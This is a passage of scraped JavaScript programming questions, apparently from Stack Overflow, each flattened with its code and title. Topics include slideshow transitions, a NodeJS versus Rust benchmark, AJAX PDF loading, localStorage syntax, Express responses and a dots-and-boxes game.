cover ; -o-background-size : cover ; background-size : cover ; } .headerimg img { min-width:100 % ; width:100 % ; height:100 % ; } .fondo { position : absolute ; z-index:1 ; width:100 % ; height:100 % ; cursor : pointer ; } /*Gestion de pase de imágenes de fondo*/ $ ( document ) .ready ( function ( ) { /*controla la velocidad de la animación*/ var slideshowSpeed = 3000 ; var transitionSpeed = 2000 ; var timeoutSpeed = 500 ; /*No tocar*/ var interval ; var activeContainer = 1 ; var currentImg = 0 ; var animating = false ; var navigate = function ( direction ) { // Si ya estamos navegando , entonces no hacemos nada ! if ( animating ) { return ; } currentImg++ ; if ( currentImg == photos.length + 1 ) { currentImg = 1 ; } // Tenemos dos , uno en el que tenemos la imagen que se ve y otro d ? nde tenemos la imagen siguiente var currentContainer = activeContainer ; // Esto puedo optimizarlo con la funci ? n modulo , y cambiar 1 y 2 por 0 y 1- > active = mod2 ( active + 1 ) if ( activeContainer == 1 ) { activeContainer = 2 ; } else { activeContainer = 1 ; } // hay que decrementar el ? ndice porque empieza por cero cargarImagen ( photos [ currentImg - 1 ] , currentContainer , activeContainer ) ; } ; var currentZindex = -1 ; var cargarImagen = function ( photoObject , currentContainer , activeContainer ) { animating = true ; // Nos aseguramos que el nuevo contenedor está siempre dentro del cajon currentZindex -- ; //if ( currentZindex < 0 ) currentZindex=1 ; // Actualizar la imagen $ ( `` # headerimg '' + activeContainer ) .css ( { `` background-image '' : `` url ( `` + photoObject + `` ) '' , `` display '' : `` block '' , `` z-index '' : currentZindex } ) ; // FadeOut antigua // Cuando la transición se ha completado , mostramos el header $ ( `` # headerimg '' + currentContainer ) .fadeOut ( transitionSpeed , function ( ) { setTimeout ( function ( ) { $ ( `` # headertxt '' ) .css ( { `` display '' : `` block '' } ) ; animating = false ; } , timeoutSpeed ) ; } ) ; } ; //ver la primera navigate ( `` next '' ) ; //iniciar temporizador que mostrará las siguientes interval = setInterval ( function ( ) { navigate ( `` next '' ) ; } , slideshowSpeed ) ; } ) ;",background image 's fadeInOut transitions produces weird effect in white all the texts "JS : I wrote a benchmark that calculates the sum of the first 10000 primes and compared Rust to JavaScript . JavaScript on NodeJS is the fastest among Rust , Scala , and Java . Even though the programs intentionally use a functional style for testing primality aiming to show the advantages of Rust 's zero-cost abstraction , NodeJS beats them all . How can NodeJS , a dynamic typing runtime , be so fast ? Rust codeJavaScript codeThe full benchmark can be found on GitHub . fn sum_primes ( n : usize ) - > u64 { let mut primes = Vec : :new ( ) ; let mut current : u64 = 2 ; let mut sum : u64 = 0 ; while primes.len ( ) < n { if primes.iter ( ) .all ( |p| current % p ! = 0 ) { sum += current ; primes.push ( current ) ; } current += 1 ; } sum } function sumPrimes ( n ) { let primes = [ ] ; let current = 2 ; let sum = 0 ; while ( primes.length < n ) { if ( primes.every ( p = > current % p ! = 0 ) ) { sum += current ; primes.push ( current ) ; } ++current ; } return sum ; }",Why is NodeJS faster than Rust in computing the sum of the primes ? "JS : I am very new in JSDoc , and I am trying out Webstorm , so I am also very new on webstorm.I have on one hand an interface declared this way : On another hand , I am developing a module in which I am implementing this interface : The problem I have is that the implementation is apparently not recognized : But if I remove the window.exports.MyImplementation assignation or the return statment , there is no more warning ... .. but I do want to return and store my type from my module ! Is there something I am missing or doing wrong ? ... Edit : Just to bring a bit more confusion to my issue , I was considering using a `` full annotation '' interface declaration ( If it is possible , I am experimenting here ... ) : ... but in this case , you can notice that the `` I '' symbol has disappeared from the left side and if the method is not implemented , I do n't have any warning.BUT the type IInterface is recognized.Edit : I think I just understood something while experimenting other stuffs of jsDoc.The warning is thrown because the check on the implementation is made on the window.exports.MyImplementation . But there is no direct assignation implementing this object in the code.And this is why the warning is disabled when I remove the return statement or the `` exports.MyImplementation '' assignation ... thus , not sure this could be considered as a bug , this may be the pattern I used for my module that does n't match to the pattern expected by WebStorm and maybe also by the JSdoc itself ... ... If someone who has experience in JSDoc and Webstorm could confirm ... ..Another edit : ( significant step here in understanding JSDoc I think ) The annotations have been moved on the targeted field and ... tadaaa ( notice the `` I '' which is still here indicating the interface is indeed implementing ) .My explanation : There could be a logic behind that ... . but honestly I really do n't know if it is relevant : as the documented field will be exported in `` exports.MyImplementation '' at the very end , and this is evident the annotation is more useful here than in the private enclosure . WebStorm has detected the exportation to `` exports.MyImplementation '' , thus is waiting for the documentation on it ... Does it make sense ? ... And another edit ( again ) Investigation , investigation.I have found a quite different solution that allows documentation , completion , validation and no warning , which seems to me a better solution for module exportation : /** @ interface */function IInterface ( ) { } IInterface.prototype.myMethod = function ( ) { } ; window.exports.MyImplementation = ( function ( ) { `` use strict '' ; /** * * @ constructor * @ implements { IInterface } */ function MyImplementation ( ) { } MyImplementation.prototype.myMethod = function ( ) { // my implementation here } ; return MyImplementation ; } ) ( ) ;",Webstorm interface implementation warning using JSDoc "JS : I am trying to implement a base class method , that have the same logic for all child classes , but would use some of their variables , that are specific to them.The last line prints bar , but getFoo ( ) also prints Called class : B . So I 'm wondering , since I can access the child 's constructor , is there a way to access child 's prototype through it ? function A ( ) { } A.prototype.foo = 'bar ' ; A.prototype.getFoo = function ( ) { console.log ( 'Called class : ' + this.constructor.name ) ; return this.foo ; } ; function B ( ) { } B.prototype.foo = 'qaz ' ; require ( 'util ' ) .inherits ( B , A ) ; console.log ( B.prototype.getFoo ( ) ) ;",Accessing child class prototype from parent class "JS : I have a method , which calls the backend through AJAX , to get a blob file from MySQL database , which is retrieved by PHP.The problem is that the PHP variables contain a string , but the AJAX call comes out empty and the PDF function does not work.Here is the AJAX code , which is getting called.This is the PHP function in the backend , I am using the CodeIgniter framework.I do retrieve the blob as a string , but that 's basically it , it does n't return back to the AJAX call . self.showPDF = function ( ) { $ .ajax ( { type : 'GET ' , url : BASEURL + 'index.php/myprofile/openUserPDF/ ' + auth , contentType : 'application/json ; charset=utf-8 ' , dataType : 'json ' , } ) .done ( function ( data ) { console.log ( data ) ; window.open ( `` data : application/pdf , '' + escape ( data ) ) ; } ) .fail ( function ( jqXHR , textStatus , errorThrown ) { alert ( `` Could not open pdf '' + errorThrown ) ; } ) .always ( function ( data ) { } ) ; } public function openUserPDF ( $ token ) { if ( $ this- > input- > is_ajax_request ( ) ) { $ userid = $ this- > myajax- > getUserByAuth ( $ token ) ; if ( $ userid ) { /* If we have an impersonated user in the session , let 's use him/her . */ if ( isset ( $ _SESSION [ 'userImpersonated ' ] ) ) { if ( $ _SESSION [ 'userImpersonated ' ] > 0 ) { $ userid = $ _SESSION [ 'userImpersonated ' ] ; } } /* now we get the pdf of the user */ $ this- > load- > model ( 'user_profile ' ) ; $ images = $ this- > user_profile- > getUserImageForPDF ( $ userid ) ; $ pdfString = $ images [ 0 ] - > image ; $ this- > output- > set_content_type ( 'application/json ' ) ; return $ this- > output- > set_output ( json_encode ( $ pdfString ) ) ; } else { return $ this- > output- > set_status_header ( '401 ' , 'Could not identify the user ! ' ) ; } } else { return $ this- > output- > set_status_header ( '400 ' , 'Request not understood as an Ajax request ! ' ) ; } }",Open PDF using JavaScript AJAX calling PHP backend "JS : I need to properly format a Canadian zip code if its entered in wrong.Format is # # # # # # where `` # '' can be either a number or letter for example : M5R 2G3I 've tried this : ( its broken up for testing purposes ) But when I enter in : m5r2g3I Get this : [ 'M ' , ' 5 ' , ' R ' , ' 2 ' , ' G ' , ' 3 ' ] [ ] And thats it . I have no idea why its not working . Please help.Thanks . shipping.zip = shipping.zip.toUpperCase ( ) .split ( `` ) shipping.zip = shipping.zip.splice ( 3 , 0 , ' ' ) shipping.zip = shipping.zip.join ( ) .replace ( / , /g , `` ) ;",Formatting Canadian postal codes with .splice ( ) "JS : In JavaScript , a commonly touted principle for good performance is to avoid changing the shape of an object.This makes me wonder , is thisa worthwhile best-practice that will give better performance than thisHow true or false is this ? Why ? And is it any more or less true in one JS engine over the others ? class Foo { constructor ( ) { this.bar = undefined ; } baz ( x ) { this.bar = x ; } } class Foo { constructor ( ) { } baz ( x ) { this.bar = x ; } }","Is it an optimization to explicitly initialize undefined object members in JavaScript , given knowledge of the innerworkings of V8/spidermonkey/chakra ?" "JS : By using event.accelerationIncludingGravity on Android , it returns a value ofwhen resting on a flat surface . However , I want to get acceleration without gravity but event.acceleration is not supported . Is there a way to convert it by Math ? In HTML5Rocks there is an example removing the gravity factor , but it does n't seem to work.Example script graphing acceleration values ( not from HTML5Rocks ) x : -0.2y : +0.1z : +9.1 // Convert the value from acceleration to degrees acceleration.x|y is the // acceleration according to gravity , we 'll assume we 're on Earth and divide // by 9.81 ( earth gravity ) to get a percentage value , and then multiply that // by 90 to convert to degrees . var tiltLR = Math.round ( ( ( acceleration.x ) / 9.81 ) * -90 ) ; var tiltFB = Math.round ( ( ( acceleration.y + 9.81 ) / 9.81 ) * 90 * facingUp ) ;",Convert acceleration with gravity to pure acceleration ? "JS : I have some JavaScript for a dropdownlist to sort results on a product inventory page . In Internet Explorer the sorting works fine and the browser handles this perfect . However in Chrome it fails every time ( can you believe it , something works in IE but not Chrome ? ) In IE when I use the Sort By option the URL looks like this : MyExampleSite.com/Supplies/Products/12345/MyProduct/ ? a=0However when I do the Sort By option in Chrome here is what the URL looks like : MyExampleSite.com/Supplies/Products/12345/MyProduct/ ? & amp ; a=0As you can see it adds the amp in the URL , and if I keep trying to sort it just add 's an additional amp everytime.Here is the JavaScript which caused my issues : My Solution was to add Html.Raw like this : And suddenly it works fine in IE and Chrome . My question is why did Chrome do this but not IE ? $ ( `` [ name=a ] '' ) .change ( function ( ) { window.location = ' @ ( this.Model.SortUri ) ' + ' @ ( this.Model.SortUri.IndexOf ( ' ? ' ) == -1 ? `` ? '' : `` & '' ) a= ' + this.value ; } ) ; $ ( `` [ name=a ] '' ) .change ( function ( ) { window.location = ' @ ( this.Model.SortUri ) ' + ' @ Html.Raw ( this.Model.SortUri.IndexOf ( ' ? ' ) == -1 ? `` ? '' : `` & '' ) a= ' + this.value ; } ) ;",Why does this dropdown list for sorting work in Internet Explorer but not in Chrome ? "JS : I have a JSON object that does not conform to JSON standards , and I can not change the structure of the object to make it adhere to JSON standards . I need to make this object render in the middle of a javascript block in a Jade template . The object is actually a configuration object that is going in a function block in the template . Here is the object . UPDATEHere is how I am getting that object from a JS file . When JSON.stringify processes the object it drops the three functions in the conversion process . I am adding a plunker to show the progress of the current solution . Which outputs the below . The only thing left is to remove the formatting characters . { services : [ ] , version : `` 1438276796258 '' , country : `` default '' , role : `` User '' , Zack_Init : function ( ) { } , Zack_Global : function ( event ) { } , Zack_PostRender : function ( ) { } , renderers : [ 'Renderer ' , 'NONE ' ] } function readJSFile ( url , filename , callback ) { fs.readFile ( url , `` utf-8 '' , function ( err , data ) { if ( err ) { callback ( err ) ; return ; } try { callback ( filename , data ) ; } catch ( exception ) { callback ( exception ) ; } } ) ; } { `` services '' : [ ] , '' version '' : '' 1438276796258 '' , '' country '' : '' default '' , '' role '' : '' User '' , '' Zack_Init '' : function ( ) { \n\n } , '' Zack_Global '' : function ( event ) { \n\n } , '' Zack_PostRender '' : function ( ) { \n\n } , '' renderers '' : [ `` Renderer '' , '' NONE '' ] } function convertToString ( obj ) { return JSON.stringify ( obj , function ( k , v ) { return ( typeof v === 'function ' ? [ ' @ @ beginFunction @ @ ' , v.toString ( ) , ' @ @ endFunction @ @ ' ] .join ( `` ) : v ) ; } ) .replace ( / '' @ @ beginFunction @ @ | @ @ endFunction @ @ '' /g , `` ) ; } obj = { services : [ ] , version : `` 1438276796258 '' , country : `` default '' , role : `` User '' , Zack_Init : function ( ) { } , Zack_Global : function ( event ) { } , Zack_PostRender : function ( ) { } , renderers : [ 'Renderer ' , 'NONE ' ] } ; $ ( ' # test ' ) .text ( convertToString ( obj ) ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div id= '' test '' > < /div >",Output a server generated json object in jade without json parse "JS : I have on change trigger that gets the event : How can I know if the change is from the mouse or from the keyboard by the event variable ? $ ( document ) .on ( 'change ' , '.class ' , function ( eve ) {",check if `` change '' event is from keyboard "JS : I have created the 3D Box with Fixed height and width , Now i have to make it dynamic based height , width and depth given by user so that he can get idea of how the box will look like . Height and width is working fine but when i try to change the depth the box design breaks . also i want it to rotate the box from the center position which is not done if i change the width.JSfiddle jQuery ( '._3dface -- top ' ) .css ( `` width '' , ( jQuery ( ' # boxWidth ' ) .val ( ) * 10 ) ) ; jQuery ( '._3dface -- top ' ) .css ( `` height '' , jQuery ( ' # boxzPosition ' ) .val ( ) ) ; jQuery ( '._3dface -- bottom ' ) .css ( `` width '' , ( jQuery ( ' # boxWidth ' ) .val ( ) * 10 ) ) ; jQuery ( '._3dface -- bottom ' ) .css ( `` height '' , jQuery ( ' # boxzPosition ' ) .val ( ) ) ; jQuery ( '._3dface -- bottom ' ) .css ( `` top '' , parseInt ( ( jQuery ( ' # boxHeight ' ) .val ( ) * 10 ) - 250 ) ) ; jQuery ( '._3dface -- left ' ) .css ( `` width '' , jQuery ( ' # boxzPosition ' ) .val ( ) ) ; jQuery ( '._3dface -- left ' ) .css ( `` height '' , ( jQuery ( ' # boxHeight ' ) .val ( ) * 10 ) ) ; jQuery ( '._3dface -- right ' ) .css ( `` width '' , jQuery ( ' # boxzPosition ' ) .val ( ) ) ; jQuery ( '._3dface -- right ' ) .css ( `` height '' , ( jQuery ( ' # boxHeight ' ) .val ( ) * 10 ) ) ; jQuery ( '._3dface -- right ' ) .css ( `` left '' , parseInt ( ( jQuery ( ' # boxWidth ' ) .val ( ) * 10 ) - 130 ) ) ; jQuery ( '._3dface -- back ' ) .css ( `` width '' , ( jQuery ( ' # boxWidth ' ) .val ( ) * 10 ) ) ; jQuery ( '._3dface -- back ' ) .css ( `` height '' , ( jQuery ( ' # boxHeight ' ) .val ( ) * 10 ) ) ;","Creating dynamic 3d css box based on height , width and depth" "JS : What is the difference between the following two snippets of code ? Is the square bracket syntax an old , deprecated syntax ? When I first used localStorage , all the documentation I found definitely said to use the square bracket syntax , but now I ca n't find any documentation on it at all.The documented syntax : The square bracket syntax : localStorage.setItem ( 'hello ' , 'world ' ) ; localStorage.getItem ( 'hello ' ) ; // world localStorage.hello = 'world ' ; localStorage.hello ; // world",Square bracket syntax vs functions for localStorage "JS : I 'm using node-webshot and phantomjs-cli to render an html string to a png image.The html contains an image tag . The image is not rendered when it is the src attribute points to a local file and no error is raised . However it does render the image when the src points to a http location . I 've tried all of the different file path combinations that I can think of , eg but so far no luck . Interestingly it works fine on my colleague 's machine which is a Mac but not on mine which is Windows , and I 've tried with two different Windows machines with no success.Here is some simplified code that focuses on the issue : The commented out code block is an example of it working with a web link as the image source but I need it to work off of a local path.Has anyone had this issue before an know how to solve it ? Thanks < img src=images/mushrooms.png '' / > < img src=images//mushrooms.png '' / > < img src=c : \images\mushrooms.png '' / > < img src=c : \\images\\mushrooms.png '' / > < img src=file : //c : \\images\\mushrooms.png '' / > < img src=file : //images//mushrooms.png '' / > etc.. 'use strict'const webshot = require ( 'webshot ' ) ; console.log ( 'generating ' ) ; webshot ( ' < html > < head > < /head > < body > < img src= '' c : \\images\\mushrooms.png '' / > < /body > < /html > ' , 'output.png ' , { siteType : 'html ' } , function ( err ) { console.log ( err ) ; } ) ; /*webshot ( ' < html > < head > < /head > < body > < img src= '' https : //s10.postimg.org/pr6zy8249/mushrooms.png '' / > < /body > < /html > ' , 'output.png ' , { siteType : 'html ' } , function ( err ) { console.log ( err ) ; } ) ; */",webshot does not render local images inside html "JS : Is any other alternative for full page scroll ? example of full page scrollhttp : //jscrollpane.kelvinluck.com/fullpage_scroll.htmlstep-1 make window width smaller by clicking Restore down button.step-2 scroll to rightstep-3 now , make window width bigger by clicking Maximize button.now , page is left alignedjQueryCSS $ ( function ( ) { var win = $ ( window ) ; win.bind ( 'resize ' , function ( ) { var container = $ ( ' # full-page-container ' ) ; container.css ( { 'width ' : 1 , 'height ' : 1 } ) ; container.css ( { 'width ' : win.width ( ) , 'height ' : win.height ( ) } ) ; isResizing = false ; container.jScrollPane ( { 'showArrows ' : true } ) ; } ) .trigger ( 'resize ' ) ; $ ( 'body ' ) .css ( 'overflow ' , 'hidden ' ) ; if ( $ ( ' # full-page-container ' ) .width ( ) ! = win.width ( ) ) { win.trigger ( 'resize ' ) ; } } ) ; html { overflow : auto ; } # full-page-container { overflow : auto ; }",Issue with full page horizontal scroll "JS : I have a need to re-use the rendered image of a picture element . Is there a direct way to use javascript to access the image file path rendered by chrome/opera without having to replicate the logic that picturefill completes.Using the example above , on a retina desktop browser window with a width of 1200px , a browser with picture support will render head-2x.jpg . Or , if I 'm using chrome browser on a smart phone with width less than 450px with retina display , it would use head-fb-2x.jpg . How can I access this dynamically rendered image directly ? Is there a way to access this rendered image without having to parse the source elements myself ? < picture > < source media= '' ( min-width : 800px ) '' srcset= '' head.jpg , head-2x.jpg 2x '' > < source media= '' ( min-width : 450px ) '' srcset= '' head-small.jpg , head-small-2x.jpg 2x '' > < img src= '' head-fb.jpg '' srcset= '' head-fb-2x.jpg 2x '' > < /picture >",Select rendered picture element image in chrome "JS : What am trying to achieve is I would like to emit a custom event in angular2 globally and have multiple components listen to it so not just the parent-child patternIn my event source component , I haveNow I would like other components to get this eventHow do I achieve the above ? export class EventSourceComponent { @ Output ( ) testev = new EventEmitter ( ) ; onbtnclick ( ) { this.testev.emit ( `` i have emitted an event '' ) } } export class CmpTwoComponent { //here get the emitted event with data }",Emitting events globally "JS : Suppose , I 've an array of different time string . I want to sum up these HH : mm time strings . I am building up an app using Ionic 4 ( Angular ) . I have already used momentjs for these . But , unfortunately yet I ca n't find any solution . Update : Expected Result:7:20 + 5:50 + 6:30 = 19:40 ( HH:33 ) let a : any = [ `` 7:20 '' , `` 5:50 '' , `` 6:30 '' ] ;",How to sum time string in an array ? "JS : I use the window.getSelection ( ) method on my project to make a quotable textIt 's working just fine in all modern browsers , exept IE10 . In IE10 console returns correct text , but the selection is broken.The only code I used : This code calls on mouseup event.Does anyone know the solution ? text = window.getSelection ( ) .toString ( ) ; console.log ( text ) ;",getSelection ( ) broken in IE10 "JS : I 'm reading a stream , which is tested with a regex : But as the stream is splitted into several chuncks , it is possible that the cut make me miss a match . So there is a better pattern to test continuously a stream with a regex ? more detailsThe stream is the content of a crashed filesystem . I am searching for a ext2 signature ( 0xef53 ) . As I do not know how the chunks are splitted , the signature could be splitted and not being detected . So I used a loop to be able to delimite myself how the chunks are splitted , ie by block of the filesystem . But using streams seems to be a better pattern , so how can I use streams while defining myself the chunks size ? var deviceReadStream = fs.createReadStream ( `` /path/to/stream '' ) ; deviceReadStream.on ( 'data ' , function ( data ) { if ( data.match ( aRegex ) ) //do something } ) ;",Parsing a stream without clipping JS : Would like to test with javascript if browser support typed array http : //caniuse.com/ # feat=typedarraysi tryed this but seems not the good way because some browser have just a partial support.. : if ( window.ArrayBuffer ) { alert ( 'typed array supported ' ) },How to check if javascript typed arrays are supported ? "JS : I have a PDF file as a blob object . I want to serve to my users , and right now I 'm doing : That works fine for people that want to use their in-browser PDF tool.But ... some people have their browser set to automatically download PDFs . For those people , the name of the downloaded file is some random string based on the blob URL . That 's a bad experience for them.I know I can also do : But that 's a bad experience for the people who want to use in-browser PDF readers , since it forces them to download the file.Is there a way to make everybody have good file names and to allow everybody to read the PDF the way they want to ( in their browser or in their OS 's reader ) ? Thanks html = ' < iframe src= '' ' + URL.createURL ( blob ) + ' '' > ' ; < a href= '' blobURL '' download= '' some-filename.pdf '' >",How to serve blob and have good filename for all users ? "JS : I 'm using Express v3.4.4 . When i try to do like this : I get an error : In code , working one : not working : var cb = res.send ; cb ( result ) ; ... \node_modules\express\lib\response.js:84 var HEAD = 'HEAD ' == req.method ; TypeError : Can not read property 'method ' of undefined workflow.on ( 'someEvent ' , function ( ) { res.send ( { error : null , result : 'Result ' } ) ; } ) ; workflow.on ( 'someEvent ' , function ( ) { var cb = res.send ; cb ( { error : null , result : 'Result ' } ) ; } ) ;",NodeJS Express . res.send ( ) fails when assigned to another var "JS : Above code for me is creating a map of even numbers , now I also want to have odd number list . Do I need to traverse through number list again ? or is there a way to have two maps using single traversal of an array.I am using Javascript . var numerList = [ 1 , 3 , 7 , 2 , 4 , 16 , 22 , 23 ] ; var evenNoLst = numerList.map ( function ( no ) { return ( ( no % 2 ) === 0 ) ; } ) ; console.log ( evenNoLst )",Array traversal in JavaScript to fill two maps "JS : I have 2 divs with a button above it . In the beginning you only see 1 div and this will be thecatalogusOrderBox div . If i click the button : manualButton ( which will be shown above the div ) then it must show the manualOrderBox div and hide the catalogusOrderBox div . But it then also need to change the button text ( from manual button to catalogus button ) so the user can open the catalogusOrderBox div again , so if you then click on that button it must show the catalogusOrdersBox again and hide the manualOrderBox.For now i have this and it does n't work : see also https : //jsfiddle.net/Lbot8a8b/live in action < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( '.manualOrderBox ' ) .hide ( ) .before ( ' < a href= '' # '' id= '' toggle-manualOrderBox '' class= '' manualButton '' > manual order box < /a > ' ) ; $ ( ' a # toggle-manualOrderBox ' ) .click ( function ( ) { $ ( '.manualOrderBox ' ) .slideToggle ( 1000 ) ; if ( $ ( '.manualOrderBox ' ) .is ( `` : visible '' ) ) { $ ( '.catalogusOrderBox ' ) .hide ( ) ; $ ( '.manualOrderBox ' ) .visible = false ; } else { $ ( '.manualOrderBox ' ) .visible = true ; $ ( ' a # toggle-manualOrderBox ' ) .text ( 'catalogus orderBox ' ) ; $ ( '.catalogusOrderBox ' ) .show ( ) ; } return false ; } ) ; } ) ; < /script > < div class= '' manualOrderBox '' >",hide and show contents with jquery "JS : Im making the game called Dots and Boxes.There are a bunch of dots on a grid : When you click on one side of the box , it turns black : Once you click on the fourth side , closing the box , the box turns the color of the player who clicked the fourth side : Currently , the players have to manually click the box to change its color . However , I would like it to automatically fill the box with the color when all four sides are black around the box.How can I use a function in Javascript to check if a the line above , below , left , and right of a box is filled in black ? < table > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < /table > function addLine ( obj ) { console.log ( `` Called '' ) if ( obj.style.backgroundColor ! = `` black '' ) { obj.style.backgroundColor = `` black '' ; changeTurn ( ) } var playerTurn = `` Blue '' ; changeTurn ( ) ; var number = 0 ; function addLine ( obj ) { console.log ( `` Called '' ) if ( obj.style.backgroundColor ! = `` black '' ) { obj.style.backgroundColor = `` black '' ; changeTurn ( ) } } function fillBox ( obj ) { if ( playerTurn == `` Blue '' ) { obj.style.backgroundColor = `` red '' ; } else if ( playerTurn == `` Red '' ) { obj.style.backgroundColor = `` blue '' ; } } function changeTurn ( ) { if ( playerTurn == `` Red '' ) { playerTurn = `` Blue '' ; document.getElementById ( 'turn ' ) .style.color = `` blue '' ; } else if ( playerTurn == `` Blue '' ) { playerTurn = `` Red '' ; document.getElementById ( 'turn ' ) .style.color = `` red '' ; } ; console.log ( playerTurn ) ; document.getElementById ( 'turn ' ) .innerHTML = playerTurn + `` 's Turn '' ; } h3 { font-family : Arial ; } table { border-collapse : collapse ; } .vLine { width : 10px ; height : 60px ; } .box { width : 60px ; height : 60px ; } .hLine { width : 60px ; height : 10px ; } .gap { width : 10px ; height : 12px ; background-color : black ; } .vLine : hover , .hLine : hover { background-color : black ; } < h3 id= '' turn '' > < /h3 > < table > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( 